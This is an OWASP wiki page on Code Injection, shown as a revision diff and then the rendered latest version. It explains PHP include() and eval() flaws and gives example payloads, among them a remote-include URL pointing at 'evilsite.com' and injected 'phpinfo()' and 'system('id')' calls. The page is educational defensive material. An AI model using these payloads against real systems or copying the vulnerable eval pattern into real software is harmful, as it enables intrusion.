Difference between revisions of "Code Injection"

From OWASP
Jump to: navigation, search
m (Related Countermeasures)
m
 
(35 intermediate revisions by 7 users not shown)
Line 1: Line 1:
 
{{Template:Attack}}
 
{{Template:Attack}}
 +
<br>
 +
[[Category:OWASP ASDR Project]]
 +
 +
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
  
 
==Description==
 
==Description==
 +
Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:
  
Code Injection is the general name for a lot of types of attacks, which depends on inserting of the code, which will be interprated by the application. Such an attack maybe be performed e.g. by adding string of characters into cookie or argument values in the URI. This attack make use of lack of accurate input/output data validation i.e.:
+
* allowed characters (standard regular expressions classes or custom)
 +
* data format
 +
* amount of expected data
  
- class of allowed charachters (standard regular expressions classes or custom)
+
Code Injection differs from [[Command Injection]] in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell.
  
- data format
+
==Risk Factors==
 
+
* These types of vulnerabilities can range from very hard to find, to easy to find
- amount of expected data
+
* If found, are usually moderately hard to exploit, depending of scenario
 
+
* If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability
- for numerical input its values
+
 
+
 
+
The difference between Code Injection and Command Injection are measures used to achive simmilar goals. The concept of Code Injection is to add malicious code into application, which then will be executed. Added code is a part of the application itself. It's not an external code, which is executed like it would be in Command Injection.
+
  
 
==Examples ==
 
==Examples ==
Line 20: Line 23:
 
'''Example 1'''
 
'''Example 1'''
  
If site uses include() fucntion, which operates on variables sended with GET method, and there is no validation on them performed, then the attacker may try to execute different code than author of the code had on mind.
+
If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind.
  
The URL below should display information about how to contact with the testsite company.
+
The URL below passes a page name to the include() function.
  
 
http://testsite.com/index.php?page=contact.php
 
http://testsite.com/index.php?page=contact.php
  
Below the altered code will include another code from http://evilsite.com/evilcode.php. The script "evilcode.php" may contain e.g. phpinfo() function, which is usefull for gaining information about configuration of the environment in which the web service runs.
+
The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request:
  
 
http://testsite.com/?page=http://evilsite.com/evilcode.php
 
http://testsite.com/?page=http://evilsite.com/evilcode.php
 
Neccessery condition must be satisfied for this example to be successfull, namly web server configuration must allow for including files in the "http://" notation.
 
 
  
 
'''Example 2'''
 
'''Example 2'''
  
When programmer uses eval() function and operates on data insie it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.
+
When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible.
  
 
+
The example below shows a dangerous way to use the eval() function:
Mentioned below example shows how to use the eval() function:
+
  
 
<pre>
 
<pre>
Line 46: Line 45:
 
</pre>
 
</pre>
  
The code above which smells like a rose may be used to perform a Code Injection attack.
+
As there is no input validation, the code above is vulnerable to a Code Injection attack.
  
E.g. passing in the URI /index.php?arg=1; phpinfo()
+
For example:
 
+
<pre>
 
+
/index.php?arg=1; phpinfo()
Exploiting bugs like these the attacker doesn't have to limit himself only to Code Injection attack. The attacker may tempt himself to use Command Injection technique e.g.
+
</pre>
 +
While exploiting bugs like these, an attacker may want to execute system commands. In this case, a code injection bug can also be used for command injection, for example:
  
 
<pre>
 
<pre>
/index.pho?arg=1; system('id')
+
/index.php?arg=1; system('id')
 
</pre>
 
</pre>
  
 +
==Related [[Threat Agents]]==
 +
* [[:Category: Internet_attacker]]
 +
* [[Internal_software_developer]]
  
==Related Threats==
+
==Related [[Attacks]]==
 +
* [[Command Injection]]
 +
* [[SQL Injection]]
 +
* [[LDAP injection]]
 +
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
 +
* [[Cross-site Scripting (XSS)]]
  
*[[:Category:Command Execution]]
+
==Related [[Vulnerabilities]]==
 +
* [[:Category: Input Validation Vulnerability]]
  
==Related Attacks==
+
==Related [[Controls]]==
 +
* [[Input Validation]]
 +
* [[Output Validation]]
 +
* [[Canonicalization]]
  
*[[Command Injection]]
+
==References==
*[[SQL Injection]]
+
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]
*[[LDAP Injection]]
+
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]
*[[SSI Injection]]
+
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]
*[[XSS]]
+
 
+
==Related Vulnerabilities==
+
 
+
*[[:Category: Input Validation Vulnerability]]
+
 
+
==Related Countermeasures==
+
 
+
* validation of the format / expected classes of charachetrs / input/output data size
+
 
+
==Categories==
+
  
 +
[[Category:Injection]]
 
[[Category:Attack]]
 
[[Category:Attack]]
 
 
[[Category:Injection Attack]]
 
[[Category:Injection Attack]]

Latest revision as of 11:34, 31 December 2013

This is an Attack. To view all attacks, please see the Attack Category page.



Last revision (mm/dd/yy): 12/31/2013

Description

Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:

  • allowed characters (standard regular expressions classes or custom)
  • data format
  • amount of expected data

Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell.

Risk Factors

  • These types of vulnerabilities can range from very hard to find, to easy to find
  • If found, are usually moderately hard to exploit, depending of scenario
  • If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability

Examples

Example 1

If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind.

The URL below passes a page name to the include() function.

http://testsite.com/index.php?page=contact.php

The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request:

http://testsite.com/?page=http://evilsite.com/evilcode.php

Example 2

When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible.

The example below shows a dangerous way to use the eval() function:

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

As there is no input validation, the code above is vulnerable to a Code Injection attack.

For example:

/index.php?arg=1; phpinfo()

While exploiting bugs like these, an attacker may want to execute system commands. In this case, a code injection bug can also be used for command injection, for example:

/index.php?arg=1; system('id')

Related Threat Agents

Related Attacks

Related Vulnerabilities

Related Controls

References